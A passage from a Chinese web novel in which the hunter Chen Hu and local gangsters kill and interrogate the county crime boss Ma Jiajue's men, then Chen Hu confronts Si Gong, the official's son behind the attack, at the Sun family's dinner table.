最终,朱锡的喊叫声在陈虎又一刀的猛插之下,戛然而止。 朱锡整个人倒在地上,不断抽搐。 处理完这一切后,陈虎便交代成小天带着另外四个赌场里面的马仔处理现场之后,就转头朝着镇上的方向走去。 成小天面对陈虎的吩咐,自然不敢怠慢。 而成小天的那四个兄弟,在望着陈虎离去的背影后,终于是松了口气。 未几,他们都不由得腿一软,一个个的跌坐在地上,就连成小天也不例外。 亲眼见识了陈虎审问别人,在他们五人眼里,陈虎自今日后,绝对是他们噩梦的顶级素材! 如果说这世上真的有鬼神,那他们五人绝对相信陈虎这厮是修罗转世! 陈虎的狠辣,以及他种种让人瞠目结舌的手段,在刚才短短的半个小时内,一遍又一遍地冲刷着五人的三观。 陈虎自然懒得照顾这五人情绪,他之所以留下来半死不活的朱锡和另一个偏瘫的打手,目的就是让这五人的手上沾血,这样才能够有效的避免后患。 虽说真正的能保守秘密的只有死人,可按照陈虎的话来说,那就是做人不能迷信,也不能过于崇尚暴力。 当然,像是给朱锡做“极限挑战”时,陈虎也会告诉他自己,有时候用暴力解决事情,不仅方便,还十分高效。 从朱锡的口中,陈虎总算是了解到了事情的原貌。 和陈虎之前得到的背景消息一样,那马加爵掌握着县里头的唯一帮会,坐拥着整个县城的灰产,说是县里的土皇帝也不为过。 但一个道上的最大头目,能这般大张旗鼓挣着底层人的血汗钱,很显然是少不了一顶足够结实的保护伞的。 如果说类似马加爵这类人而言,保护伞是标配的话,那像这样式的伞,他却是一共有好几把的。 平时遇到小事,马加爵会去求县里头那几顶有些小权力,刚好能够帮他摆平事情的保护伞帮他。 但遇到大事情,马加爵只能去求他最大的那一顶保护伞来保他。 马加爵肯定是没有与陈虎结仇的,他也没功夫来找陈虎麻烦,因此,马加爵之所以走这一遭,很显然是听了吩咐的。 时间来到五日前。 马加爵的住处,来了位不速之客。 当然,这位不速之客曾无数次的帮马加爵免去了牢狱之灾,因为对方有一个身居高位的爹。 可以说马加爵能一步步做大做强,是离不开这个人的帮助的。 而这个人,自然也就是马加爵最大的保护伞。 这人名为司宫,有关于他的身份,即便是朱锡,也一知半解。 因为马加爵从未向旁人提及这司宫的家世,多数时候,都是马加爵搜罗来一些个奇珍或是女人,送到司宫的身边。 而到了马加爵出事儿时,只需要马加爵到这司宫的面前一跪,并且随着对方的一通电话打出去,那事情便能够迎刃而解。 在朱锡的回忆中,那日,司宫主动找上了马加爵,这事儿对于马加爵来说还是头一遭,并且还是司宫亲自登门的。 当时,司宫并没有多交代什么,只是带来了刘翠翠这泼妇过来,让马加爵给刘翠翠做两件事情。 并且司宫还暗示马加爵帮刘翠翠做完这两件事情之后,就将刘翠翠给一并宰了! 马加爵面对司宫的吩咐,当然不敢有半分疑虑,他答应下来后,还极其不放心让别人去经手这事,甚至于他为了保证把司宫吩咐的事情做好,还亲自走了这一遭。 陈虎走后,成小天呆愣着站在半死不活的朱锡面前。 看着朱锡,成小天犹豫了许久。 直到他身后的一个兄弟,弱弱出声问道:“天哥,咱们动手吧!” 听到这话,成小天这才回过神来,他深吸了一口气后,拿起了那把还给他的仿制95式手枪,苦笑出声道:“朱锡交给我!你们去把那被打中脊椎的弄死,记得一人一下,这事情,咱们以后谁也脱不了干系!” 另外四个赌场里面的弟兄闻言,当即面面相觑,但他们并未拒绝。 毕竟,这点儿事相较于先前,他们眼睁睁看着陈虎的残忍手段,其实无外乎于一点下酒菜而已。 在这四人去处理马加爵的那个脊椎被打中的马仔之后,成小天这才将他手中握着的那把仿制 95式枪,开了保险。 随后,成小天举起那把仿制95式枪,然后持枪对着那在地上不断抽搐,几乎快要断气的朱锡,忍不住苦笑道: “五枪!他只开了五枪!” “而这把仿制95式枪的精度,我很清楚最多也就在五十米内,但他却在百米开外,五枪几乎都是一枪毙命。” “并且,他还故意留了一颗子弹给我,这枪到他手里时,当时也仅有六颗子弹!” 说到这里,成小天不由得重重的吐出了一口浊气,然后望着还在地上抽搐的朱锡,说道: “真正的煞星,是要人命的!” “我很清楚他留下一个偏瘫和你,以及这颗子弹,到底是什么意思!” “实际上,老朱你不知道,只差一点,我们便站队爵爷了。如果真是这样……呵呵……” 成小天苦笑一声,旋即瞄准朱锡的脑袋,扣动了扳机。 砰! 随着一声巨响过后,成小天只觉得他的耳边一阵嗡鸣。 等到耳朵缓过来后,成小天最后才自言自语的出声道:“谁敢面对这尊修罗?” 赌场后面,会客厅内。 由于迟迟等不到传回消息,成枝豹早已心惊胆颤! 他在道上混了这么多年,见血甚至于是火拼,都经历过不少次了,这才有了今天的成果。 不说他见过多少大风大浪,但他好歹是手上沾了五、六条人命的狠角! 可成枝豹也清楚,他这次站队可是在两个庞然大物之间选择的。 如果成小天把事儿办砸了,陈虎死了,或是陈虎的家人死了,到时候,他再与马加爵撕破脸,那当真是最坏的结果! 恐怕,他连带着他的这些个兄弟们,都必死无疑! 尽管心里头一直在努力的平复情绪,但成枝豹仍旧不时地要擦拭他额头上的汗珠。 而这一幕,自然也逃不过马加爵的眼睛。 马加爵十分悠哉的喝着茶水,在多次见到成枝豹偷摸地擦着额头上的细汗时,他这才咳嗽一声,略带审视的望向成枝豹,淡然开口问道: “怎么?阿豹,你今天似乎十分紧张啊?” 成枝豹闻言,顿时心中一凛,赶忙笑着摆手道:“爵爷说的哪儿的话?!我要紧张,估计也是被爵爷不怒自威的威势给惊的!” 见成枝豹打哈哈,马加爵的心中,却是生出了一丝危机感。 多年死里逃生闯荡出来的敏锐感知,让马加爵察觉到了事情有些不对劲。 想了想,马加爵便留了个心眼子,也不掩饰,直接招呼成枝豹先出去一趟,而他自己要单独呆一会儿,顺带让成枝豹把在门口守着的一个他手底下信任的马仔叫进来。 对于马加爵的这个吩咐,成枝豹自然无法拒绝,当即应声,就走出了会客厅。 等到成枝豹走后,一个黑脸汉子随即就来到马加爵的面前。 马加爵使了个眼色,同时又打了个手势,示意让那黑脸汉子附耳过来。 随着黑脸汉子的耳朵靠近后,马加爵这才压低了声音,用只有他和黑脸汉子才听到的语音,小声命令道: “去把其他弟兄们都召集一下,让他们把家伙什都准备着!” “记住,低调些!” “千万不要让这赌场里面的人发现了!” …… 第一卷 第123章 我就在这里等着! 在整个马关口县里,马加爵被称一声“土皇帝”的话,那绝不为过。 从城区再到下属几十个乡镇,但凡是碰了类如高利贷、偷盗、赌场和拉皮条这档子生意的,都需要在他马加爵那儿拜过堂口,每月交月供,才算是合理合规。 要说这些个所谓的生意,本质上就不合理合规,那该管的人就不一定会管得着,这些个生意自然做得十分猖獗。 可要是做这些个生意的人,没去拜过堂口交月供,那就得倒霉了。 轻则砸了生意,重则见血,不是断手,那就是断脚! 可实际上,回到二十年前,他马加爵也不过是个家里头世代贫农的小角色而已。 出身低微的他,还没有成年,就在一家煤窑里面做工。 据说,马加爵的发家史就源自于那座煤窑。 那时候的马加爵年轻气盛,一开始只是与工友动手打架,打出了名气后,就不免得笼络了好些个工人。 紧接着,马加爵便骑在工人的头上作威作福,除了每月需要向他缴纳保护费之外,他还在工人宿舍内,开办了一个小赌场。 依靠着自身的威慑和笼络的一众工友们,马加爵很快就混得风生水起。 再后来,马加爵不知为何动了歪心思,竟是强占了这处煤窑,而这煤老板自然也不是什么善茬。 可在马加爵凭着光脚不怕穿鞋的底气,几次三番绑走煤老板的家人之后,煤老板无奈妥协,低价把煤窑转给了马加爵。 在这个清苦的年代,大多数人都过着吃了上顿愁下顿的日子的时候,马加爵却是靠着煤窑、赌场、高利贷,混得风生水起! 但马加爵却并没有就此满足。 很快,马加爵的产业便扩大到了烟酒走私,以及一支由他信得过的马仔们所组成的绑票、勒索的狠辣团队! 再后来,马加爵更是把手伸进了县城。 经过了多次火拼后,马加爵成功地接管了整座县城所有的灰产和违法经营场所。 自此之后,马加爵的声势便一路拔高,直到如今。 这是陈虎这几日内,所打听到有关马加爵的一切。 这位“爵爷”的发家史和各种经历,放在整个马关口县里头,谁都能说上几段。 只是,让人费解的是马加爵这厮竟然这般高调,甚至于平头百姓们都整日将其拿来做饭后谈资,但他却仍旧没有被公家打杀。 很显然,马加爵的保护伞,其身份和背景肯定超乎常人想象! 不过,对陈虎而言,现在最重要的是对方让马加爵跑这一遭,就为了对付他。 而对方的身份,很明显不是陈虎现在的身份,能够撼动得起的。 并且,马加爵的势力错综复杂,单纯的将其打杀,陈虎倒是并不担心会有什么差错。 可是将马加爵打杀之后的后续麻烦,肯定会接踵而至的。 马关口县城再到下属的乡镇,把其中的灰色产业全部组合在一起的话,那就是一个庞大的犯罪集团。 而这群罪犯每个人都去拜过马加爵的堂口,并且,这个在阴暗处滋生的犯罪集团,必然会长久存在的。 马加爵固然可以死,但在他死之后,无论谁上台,对方的第一件事情都必然是要给“爵爷”报仇,这样的话,对方才能够站得住脚,顺利接收马加爵的势力。 常言道,出来混,义字当头! 正如诸多高呼民主自由国家的政客一般,上台演讲还需要给选民画饼,马加爵若是死在这里,那谁想接盘他的生意,就必须要给马加爵的死,一个说法才行。 陈虎很清楚到时候会发生怎样的麻烦事。 他可不想麻烦接连找上门! 所以,在赶到镇上之后,陈虎第一时间内,并未直接闯入赌坊,反倒是不紧不慢地换回了他的那身行头。 接着,陈虎便大摇大摆地以一个赌棍的身份,进入了赌场。 虽然成枝豹的赌场不大,但赌场里面的人却当真不少! 陈虎一进门,迎面而来的便是满屋喧哗。 烟味儿、酒味扑面而来,各式各样的赌桌游戏摆在台面上,庄家发牌、摇色,赌徒们便在牌桌前,红着眼大喊大叫。 “大!给老子开大!” “听我的,直接梭哈!这牌但凡犹豫一点,那都是脑袋被门夹了!” “怎么还是小!我的老婆本啊!” …… 陈虎穿过人群,来到柜台前,兑换了几块钱筹码。 而后,陈虎默不作声地找到一处偏僻的墙角,坐上了一桌炸金花的桌上。 赌场里面的一个年轻伙计见陈虎拿着筹码上桌,当即就过来招呼茶水。 “这位爷,您玩好!祝您发财!” 这类赌场里面有着一个普遍不成文的规矩,伙计上茶道吉利话,那就得给赏钱,也叫茶水费。 陈虎倒也听过这个规矩,当即面带微笑地掏出了一个五毛面值的筹码,递到了伙计的手中。 那年轻伙计见状,顿时眼前一亮,当即就伸手要接下那五毛的筹码。 可筹码到了伙计手中,陈虎却并未松手,反倒是一把将伙计扯到他的面前,接着低声开口道:“去告诉成枝豹,有胆量做马关口龙头的话,那他就直接动手把人给绑了,剩下的我帮他。要是没胆量,那就把你们的人手全部都撤出去,剩下的交给我!” 说罢,陈虎才松开那年轻伙计,并将他手上的其它的筹码,一并都扔到了那年轻伙计的手中。 接着,陈虎就往椅子上一躺,神色悠然道:“我就在这里等着!” 伙计面色惊诧地看着眼前的陈虎。 此刻的陈虎,已经换回了那身熊皮大衣,他戴着一顶毡帽,大衣内侧还露出了一截黑乎乎的枪管。 尽管眼前这个面容稚嫩的年轻人,不像是什么大佬,但那年轻伙计还是在第一时间内,就猜出了陈虎的身份。 那年轻伙计随即深吸了一口气,努力平复情绪,接着就收起了手中的筹码,朝着陈虎微微点头示意,随后转头离开。 不多时,那年轻伙计便来到了后堂成枝豹的面前,将陈虎的话完整复述给了成枝豹一遍。 眼见成小天一行人还没有回来,陈虎却先一步到了赌场里面,成枝豹当即便猜到了那边的情况。 只是,成枝豹随后深吸了一口气,却迟迟没有下决定。 尽管陈虎的话,说得很明白,但成枝豹也不是几句话就能被唬住的傻子。 陈虎与孙家之间的关系,的确让他心动,可他不知道陈虎到底能动用多少孙家的资源。 而反观马加爵,他成枝豹若是直接动手,那不管马加爵到时候是死是活,只要陈虎的许诺没兑现,那他都难逃一死。 马加爵要是过了今晚还没死,那他必然吃不了兜着走。 要是马加爵死了,陈虎也没有兑现其所承诺的这些说辞,那他也会被整个道上追杀的! 所以,成枝豹想了半晌之后,也还是没有拿定主意。 第一卷 第124章 果真还是不成器! 陈虎在赌场外面等了一阵后,那年轻伙计才从赌场里面跑出来传话。 见到陈虎之后,那年轻赶忙恭敬着一边添茶水,一边转告道: “虎哥,我们豹爷说要知道实际的情况才行,如果这么不明不白的动手,那就是在拿弟兄们的性命当儿戏!” 陈虎闻言,眉头轻挑,神情间露出一抹无奈道:“得了吧!成枝豹这家伙,果真还是不成器!” “你再去告诉成枝豹,小天先前带着人,已经和我一起处理了那群外来的家伙了。” “眼下他马加爵派出去的那十二个马仔,都回不来了!” “前面派出去那四个马仔,应该已经和他的车一起烧成灰了!至于后头派出去的八个马仔,现在估摸着也应该都被扔到山沟沟里面,烧成灰了!” “他成枝豹要是再等的话,那我可就用不上他了!” 陈虎现在把这话说给成枝豹听,对成枝豹而言,就是一个明显的死胡同。 尽管成枝豹一开始站队时,就选择了陈虎背后的孙家。 但实际上,成枝豹一直都抱着侥幸心理的,他派给成小天的任务其实也仅仅是保证陈虎不会出事情而已。 在整个事件中,成枝豹一直都在两头讨好! 而成枝豹哪怕完全确定能搭上孙家这条线,他也不会对马加爵动手。 在这位狡猾的豹爷看来,他所面对的最理想的情况便是让陈虎向孙家求援,到时候,这件事情只能被孙家压下去。 如此一来,他在不得罪马加爵和马加爵背后的人的时候,更能靠着给陈虎通风报信,从而搭上孙家的船。 可无论是他成枝豹,还是成小天都没有想到,陈虎竟会在得到消息后的第一时间内,不去向孙家求援,反倒直接在半路,截杀马加爵派出来杀他的马仔! 实际上,从陈虎第一时间内截杀马加爵派来的四个马仔时,成小天就明白事态无法扭转了,但那时成小天折返回去后,却并未把这个消息告知给成枝豹。 甚至于成小天还带上了他的亲信,再一次帮着陈虎,绞杀了朱锡带去的一众马加爵的马仔! 所以,当陈虎的这番话传到了成枝豹的耳中后,这位豹爷当即就忍不住勃然大怒! 成枝豹猛地举起桌上的茶杯,直接就摔得稀碎。 随后,成枝豹就紧紧的攥着拳头,眼底浮现出一抹杀意,然后咬牙切齿的喃喃念叨着:“成小天……做得当真漂亮!不枉我教你这么些年!” 成小天的设计十分简单,他在目睹陈虎截杀了那四个马加爵的马仔后,并未把消息汇报给成枝豹。 有关于车祸的信息,成小天不仅骗了马加爵,更是骗了成枝豹。 这就使得成枝豹认为,车祸是成小天设计的,目的是拖延时间给陈虎报信。 可在成小天的视角中,只要陈虎杀的马加爵的马仔足够多,那到时候陈虎有着孙家照拂,就不会出事儿。 不过,站队陈虎的成枝豹却不管马加爵死没死,都是会被舍弃出来的。 无论是马加爵堂口中想上位的弟兄,抑或是他背后的人,都不会放过成枝豹的! 成小天要的并不多,不过就是镇上这一亩三分地罢了! 尽管成枝豹这位豹爷教导了他这么些年,一直把他带在身边。 但成小天很清楚,豹爷现在还年轻,那他想上位的话,基本上就是不可能的! 现在,成枝豹可谓是骑虎难下! 简单思考过之后,成枝豹不由得深吸一口气,稍稍平复了他的情绪。 接着,成枝豹沉声朝传话的那年轻伙计,开口道: “去告诉陈虎,我这条命从现在开始,就是他的!” 那传信的年轻伙计闻言,不由得瞪大了眼睛,身子也是一阵颤抖。 但在成枝豹冷冷的注视之下,那年轻伙计还是强撑着身体,走出了赌场,找到陈虎,并帮成枝豹向陈虎传过了那句话。 这头的成枝豹,此时也终于狠下心了。 他召来了手底下的一众弟兄们,接着冷声一一吩咐道: “狗子,带人去疏散场子里面的客人。记住了,不管是谁都撵出去,今晚上不营业了。哦,对了,陈虎在场子里面,你记得安排人去把人请到偏房等着,好生招呼着!” “癞子,让兄弟们抄上家伙,安排人取了喷子,顶在前头。马加爵带来的手下,现在就四个人,到时候,除了马加爵以外,其他人全部都给我弄死,用不着留活口!” “另外,放出去两个人望风!今晚对面连马加爵在内,一共就五个人,只不过他们手里头有枪。但没事,动手后如果伤残的话,那老子这边负责,另外老子还给两百块补偿,死了的弟兄,一律给五百块抚恤金,给他们家里头。” “今晚的事儿办成之后,老子也带你们去县城里头圈块地吃香喝辣,用不着在这处小镇子里面摸爬滚打了!” 成枝豹这一系列的吩咐,在他一一安排之后,顿时就让得他手底下的一众弟兄们都神情激昂! 敢来赌场里面混的,多半都是血气方刚的年轻人。 他们一个个的都指着这路子挣钱,因此是断然没人怕死的! 毕竟,这年头大家连饭都吃不饱,他们不把头别在裤腰带上拼命,凭什么能出头过上好日子呢? 很快,赌场外边就开始清场了。 陈虎神色淡然的坐在椅子上,看着成枝豹的马仔们动手撵人。 随后,依旧是那给陈虎和成枝豹报信的年轻伙计,被安排来请陈虎。 就见得,他十分恭敬走到陈虎面前道:“虎爷,场子现在有些乱,要不然您到场子里头的偏房休息吧?” 陈虎闻言,却直接摆了摆手,满脸无所谓道:“没事儿!我就坐在这儿等着!” 原本喧闹的赌场,很快就被肃清了,静悄悄的一片儿,就剩下散乱的桌椅。 而这头赌场前面刚结束清场,赌场后边就紧跟着传出了一声枪响! 随着第一声枪响传开,紧接着就是第二声、第三声……接踵而至。 陈虎并没有出手的打算,他仍旧是一脸悠然坐在赌场前面,等待着结果出来。 最早探查的时候,陈虎就确认了马加爵这次带了十六个马仔过来,算下来,现在连马加爵在内,他们应该还剩下五个人。 反观这处赌场,成枝豹手底下少说还有接近二十号的人手。 如果都这样了,最后还需要他陈虎来帮忙动手,那成枝豹以后也别提上位了,直接找个地方把他自己埋了就成。 这一夜,注定不平静! 枪声并未持续太久,不到五分钟,赌场里面又恢复了安静。 不多时,成枝豹便带着五花大绑的马加爵,来到了赌场前面,出现在了陈虎面前。 只见,成枝豹冷着脸将马加爵扔到一旁,而后来到陈虎身前,弯下腰,满脸恭敬道: “虎哥!“ 面对成枝豹的问候,陈虎的脸上,当即就挂着一抹儒雅的微笑,接着摆手示意成枝豹坐下。 随后,陈虎将目光投向了此时正横躺在地上,既不挣扎,也不吭声,反倒是目光冷峻盯着他的马加爵。 陈虎随即起身,将凳子拉到了马加爵的面前,而他的脸上仍旧挂着那抹儒雅又瘆人的微笑道: “爵爷的名头,倒是听过不少!” “不过,咱们今日可算是第一次见,正式认识一下,我就是陈虎!” “不知道爵爷这次来找我,是为了些什么呢?” 马加爵闻声,不由得瞳孔一缩,然后仔细打量了陈虎许久,这才缓缓开口道: “你能出现在这里,并且他成枝豹有胆子对我动手,应该老朱他们都栽了,是吧?” 面对马加爵的询问,陈虎并未掩饰,而是微微颔首,回应道: “不错!这会儿他们估计在某个山沟里面,被一把火烧成灰烬了吧!” 第一卷 第125章 这种事情还是交给我比较专业对口! 马加爵听了陈虎的话后,眸光不由得一阵黯淡,他的脸上也跟着露出了一抹说不清情绪的笑容,然后他就耷拉着脑袋,不再吭声了。 一旁的成枝豹见状,当即上前向陈虎询问出声:“虎哥,要不要把这货交给我手底下的弟兄?我这儿有的是办法让他把事情交代清楚!” 陈虎闻言,却是微微摇头,接着蹲下身子,眼带笑意,不紧不慢的拒绝成枝豹道:“没事儿!这种事情还是交给我比较专业对口!” 成枝豹听到陈虎这话,却是有些不明所以,但他犹豫了下,还是没有多嘴去问。 这时候,躺在地上的马加爵却是冷冷喊道:“有种就给老子一刀!反正你们也蹦跶不了几天了,至于你们还想问老子什么事儿,呵呵……你们就是活剐了老子,老子也不会给你们透露半点儿的!” 马加爵实际上现在已经不抱有活着离开这地方的希望了。 在成枝豹带人对他们动手,在赌场里面暴起杀人之前,他其实就已经感觉到了成枝豹的不对劲。 可尽管他已经做了些准备,但马加爵当时仍旧是不相信成枝豹会真的敢对他动手! 直到枪声响起,前后不到五分钟的时间,马加爵带来的最后的四个马仔都被成枝豹的人干净利落的解决,再加上成枝豹随后又将他带到了陈虎面前,并一声一声的“虎哥”喊着的时候,马加爵才猜到了一些整件事情的具体内幕。 作为司宫手里面的一把合手的刀,马加爵其实并没有资格去问司宫让他去办那些事情的原因。 他只能做一个听话办事的人,无论司宫让他去做什么,他都必须要去做,而不能有任何的疑问。 虽然他不明白为什么像司宫这种高高在上的大人物,会需要费心费力地跑来杀一个穷山村里面的泥腿子猎户。 毕竟,司宫和陈虎之间的差距,明显就是天差地别的。 但眼下的情况,却让得马加爵想明白了不少。 既然成枝豹敢对他动手,那必然是做好了被他堂口的弟兄报复的准备,而成枝豹为什么不怕被报复呢? 这个原因再加上现在露面的陈虎,以及司宫当时亲自找到他,并带来那长舌妇人时,马加爵就是再蠢,也明白了这是两个庞然大物的博弈。 或者说所有的争端,其实都是围绕着这两个庞然大物展开的。 司宫的背景是一个庞然大物,而另一个庞然大物,应该就是能成枝豹和陈虎背后的人的背景,这也是成枝豹敢对他动手的底气和原因。 说到底,除了司宫和孙家,无论是陈虎也好,还是马加爵也好,他们两个其实都不过是在大人物博弈下的棋子罢了! 可很显然,马加爵太高估了他自己,并且,他也太低估了陈虎。 在接下来不到两分钟的时间内,赌场里头痛苦的嘶喊声,不绝于耳。 马加爵这位混迹道上十几年,经历过无数次火拼的大佬,在陈虎的手里头仅仅坚持了不到两分钟,便开始不断求饶。 眼见着马加爵一边求饶,一边沙哑着喉咙,求饶说他全都说,陈虎不由得摇了摇头,有些叹惋道:“还以为你嘴那么硬,骨头应该不软,可你怎么连两分钟都撑不住啊?” 这一幕,可算是让边上目睹全部过程的成枝豹,不由得眼皮子直跳,他的心底也是不禁一阵阵的打颤。 而在听见陈虎的自说自话后,成枝豹更是忍不住胆寒,心中暗道:好在他没有站错队! 陈虎这厮的手段之残忍,绝对是他平生罕见! 仅仅是目睹全部的过程,成枝豹就感觉他全身都不适了,这更是让得成枝豹这位镇上的黑道头头,此刻无比共情此时在地上躺着的县城里头的黑道大佬马加爵。 而马加爵见陈虎收手,此时也总算是松了口气。 随后,马加爵颤抖着身子,艰难坐起身。 此刻,这位接近一米九身高,满身横肉的马关口地下皇帝,竟是满脸鼻涕和泪水的混合在一起,然后开始在陈虎的问询之下,十分老实的回答问题。 很快,陈虎想知道的一切,便都有了答案。 马加爵背后的靠山司宫,这人可以说是县里头的太子爷。 当然,对方与马加爵这位地下皇帝没关系,人家这太子爷是地上来头,光明正大! 据说,司宫家里的父母,再到爷爷辈都是从政的,只能说根正苗红。 司宫平日里倒是鲜少做什么出格的事情,而他需要马加爵帮他做事时,都会找人来知会马加爵一声。 马加爵则每月都主动给司宫送去月供,换来的是他在危急时刻,需要司宫给他疏通关系。 当然,司宫多数时候给马加爵疏通关系,其实只需要一个电话就能够搞定。 至于司宫吩咐的事情,包括这次带上刘翠翠来寻陈虎的麻烦,马加爵其实都不知道司宫的真正目的。 马加爵只知道刘翠翠是司宫亲自去找的,并且,司宫还和马加爵强调过,这事儿不能将他抖落出来。 审问马加爵的结果,让得陈虎大失所望! 本以为这马加爵是条大鱼,既然他能钓到,那他也就能搞清楚发生这件事情的原因,到底是什么了。 这样的话,陈虎也能够避免后续再有接连不断的麻烦事儿找上门。 可马加爵对于司宫的事情一无所知,却是让得陈虎的线索,直接中断。 见马加爵的嘴中再也吐不出什么有用的信息,陈虎当即也结束了审问,直接起身,朝着门外走去。 成枝豹见状,赶忙上前,神色慌乱的叫住了陈虎: “虎哥,我今天带着兄弟们做事儿,算是把我这条命都卖给你了,后面的事儿……” 陈虎问完,却是挑眉轻笑一声道:“等着便是!对了!小天从今天开始就跟我了,等他回来后,就让他直接来找我!” 说罢,陈虎便头也不回的离开了赌场。 看着陈虎潇洒离去的背影,成枝豹不由得深吸了一口气,他此时的心绪繁杂,久久不能收回视线。 如果陈虎食言的话,那他仅有两个选择,一是等死,二是趁着这事情还没有抖落出来,先一步离开。 当然,他可不是离开马关口地界这么简单,兴许他只有躲去南方,才能有活路。 但想到陈虎方才说的话,成枝豹也是暗自松了口气。 在成枝豹看来,小天暗算他属实该死! 但陈虎已经亲口说要收下小天,这可不仅是简简单单的字面意思。 陈虎这话更是在警告他:成小天无论犯了什么事情,现在都是被陈虎罩着了,他成枝豹要是敢动成小天,那陈虎就会食言的! 甚至于,陈虎会亲自对他动手,那也说不定。 一想到陈虎刚才在他面前对马加爵所使出来的手段,成枝豹就不寒而栗,整个人都有些站不稳了。 不过,用放过成小天来换陈虎保他,在成枝豹看来,这也是值得的。 往后,无论是马加爵堂口的人来寻仇,还是司宫要报复,只要陈虎还在的话,那他成枝豹就用不着慌。 并且,他日后应该还能靠着这一次杀了马加爵,从中好好的捞一波富贵。 无论怎么想,成枝豹都觉得这笔和陈虎并没有说明,只能自己心里琢磨的交易,是非常值的。 想通了之后,成枝豹随即冷冷的看着在地上如同死狗一般瘫睡的马加爵,然后摆了摆手,叫来了一个还在赌场里面的马仔。 接着,成枝豹递给了那马仔一把短刀,而后朝地上的马加爵努嘴,冷声说道:“去!把他给我宰了!” “然后带其他人把赌场里面所有的尸体,全部都连夜拉到镇子外边,寻一处偏僻的荒地,先给烧掉,再埋了!” 整个处置马加爵的过程中,成枝豹的脸色一直冰冷,完全不带任何感情。 这一次,自从对马加爵下手开始,成枝豹就已经豁出去了! …… 走出赌场之后,陈虎就直奔孙家而去。 收下成小天,其实是陈虎的临时起意。 当然,对于成小天,陈虎也是真的有所思量的。 成小天这人够聪明,懂得察言观色,不仅事情处理得不错,还足够狠辣、无情! 这种人,是值得陈虎收下的。 而如果陈虎不张嘴的话,那等到过两天,成小天怀着庆幸回到赌场之后,恐怕他多半是要被成枝豹做成肥料,洒到地里的。 实际上,从陈虎将那四个马加爵手底下的马仔截杀,并招呼成小天回去诱骗马加爵手底下的其他马仔过来时,对于成小天的选择,陈虎就已然明白了。 当然,如果不是陈虎把事情的局面控制成这样,那成小天也不会如此选择的。 可以说,成小天会选择背叛、算计成枝豹,从一开始就有着陈虎的推波助澜。 不过,对于陈虎而言,现在收下成小天其实并不是什么坏事。 正好,陈虎一直都犯愁他有很多事情需要人做,而成小天刚好填补这个空缺。 否则,陈虎身边现在仅仅只有马老三这一个忠诚的人手做事,很明显是不够的。 第一卷 第126章 给这油头粉面的后生喂口黄泥! 此刻,已经是晚上八点了。 寻常舍不得点油灯的人家,现在都已经睡下,但孙家却依旧开着电灯。 陈虎走到孙家门口时,屋内仍旧灯火通明。 陈虎当即不紧不慢地敲响了孙家的大门。 不多时,大门打开。 门一开,陈虎便迎面看到了孙若薇。 孙若薇一见来人是陈虎,顿时就露出了惊喜的笑容。 “你怎么来了?” 今晚的孙若薇穿着一件淡黄色棉服,下半身是一条牛仔裤,看上去青春又活泼。 陈虎闻言,耸了耸肩,轻笑回应道:“有点小事儿,你妈妈还在吗?要是我不方便进去的话,那咱们在门口说就成!” 孙若薇听到陈虎这话,当即就嗤笑一声道:“怎么?怕了?” 陈虎见状,却是有些无奈的苦笑着摇了摇头,随后便大步走进了孙家院子。 孙若微随后跟上,和陈虎并肩而行,在孙家灯火的照耀下,两人看着很是般配。 走入院子后,孙若薇想到了什么,美眸之中流露出一抹异色。 随即,孙若微提醒陈虎道:“今天可不只有我妈妈在,你得做好心理准备,待会儿可别怯场!” 陈虎点了点头,接着递给孙若薇一个放心的眼神。 随后,两人便走进屋门,进入客厅。 刚一进入客厅,陈虎第一眼便注意到了孙若薇口中说的不速之客。 陈虎本以为是孙若薇父亲也过来了,但没成想对方竟是一个青年。 这青年身着一身灰色西装,看上去不过二十来岁的模样,模样俊朗,皮肤白皙,一看就是高干子弟。 此刻,他正端坐在餐桌前,与张瑛交谈着。 张瑛看到陈虎,面色冷淡,倒是孙老爷子冲陈虎点头,露出笑容。 陈虎随即就冲孙若薇递过去一个疑惑的眼神,孙若薇却是走到餐桌前,示意陈虎坐下。 陈虎无奈走近,接着朝孙老微笑问好道:“大半夜过来,叨扰老爷子清净!见谅!见谅!” 孙老闻言,却是摆了摆手,当即笑出声来道:“你小子来的倒是时候!刚开饭,你就闻着味儿,钻进来了啊!哈哈哈哈……” 孙老倒是一如既往的热情,陈虎与孙老寒暄了两句后,便将目光投向了张瑛和眼前那陌生的青年。 孙若薇给陈虎拿来了餐具,接着便在陈虎的身旁,侧着耳朵,小声说道: “不用和他客套!这人叫司宫,他这次来是想提亲的!” 陈虎闻言,顿时满脸诧异。 司宫?! 陈虎看着面色难看的孙若薇,接着又将目光投向了张瑛和司宫。 他微微眯眼,面露不善。 陈虎本来还打算过来询问一下孙若薇是否认识这司宫,是不是这人与孙家之间有什么过节交集,这才导致牵连了他。 但眼下,情况已然很明朗了。 用膝盖想,陈虎都能想清楚这到底是怎么回事! “哼!我说怎么天黑的时候,门外的乌鸦闹腾不个停,感情是有丧门星登门啊!” 张瑛见陈虎与孙若薇交头接耳,顿时就忍不住阴阳怪气的出声。 陈虎对于张瑛这明显看不上他的未来丈母娘,直接选择无视。 他的目光掠过张瑛,开始肆无忌惮打量着坐在张瑛旁边的司宫。 司宫自然做不到无视陈虎,他望向陈虎时,脸色阴沉得可怕,完全不做掩饰。 并且,司宫的眼底还闪过了一丝不易察觉的诧异。 他当然诧异! 四天前,他就交代了马加爵把陈虎这山村里的破落户解决掉。 谁知道这厮的效率,竟然这般不济事! 陈虎死死地盯着司宫的方向,看着对方不断变换的神色,不由冷笑着,自说自话道: “也不知道今儿村子里面,打哪儿来了一条野狗,见着我就想咬。这年头的狗都不长眼,只能乱棍打死!可惜没见着狗主人,养出这般狗,理应被一道打死!” 司宫闻言,顿时眼皮一抖,像是想到了什么,他不由得深吸了一口气后,这才不紧不慢的笑道:“这位就是给孙老送野味的猎户吧?倒是幸会!不过,你说打死了家养的狗,这怕是不太合适吧?毕竟,山里头的野味,打了也就打了,并没有太大的关系,但你若是在街上打死了有主的狗,万一狗主人气性大,反过来伤了你,那可不好!” 两人这话很显然都意有所指,孙老听到两人的话后,便饶有兴趣地来回看着此时正相互对视的陈虎与司宫二人。 孙若薇听完陈虎和司宫的话后,则眉目微蹙,心中暗自思量着什么。 张瑛闻言,顿时也是意识到了什么,看向一旁的司宫,投过去一个疑惑的眼神。 陈虎自然不会示弱,举起筷子,夹了一块肉,而后扔进嘴里,惬意咀嚼道:“这年头有什么狗,就会有什么样的主人!狗是疯狗,狗主人多半也有些痴癫!若是动手的话,一并打死就是!这种人留着,也会像疯狗一般咬人,打死了也算是为民除害。” 陈虎此刻,嘴上倒是不让分毫,心中却是忍不住一阵吐槽。 我说怎么惹上了疯狗? 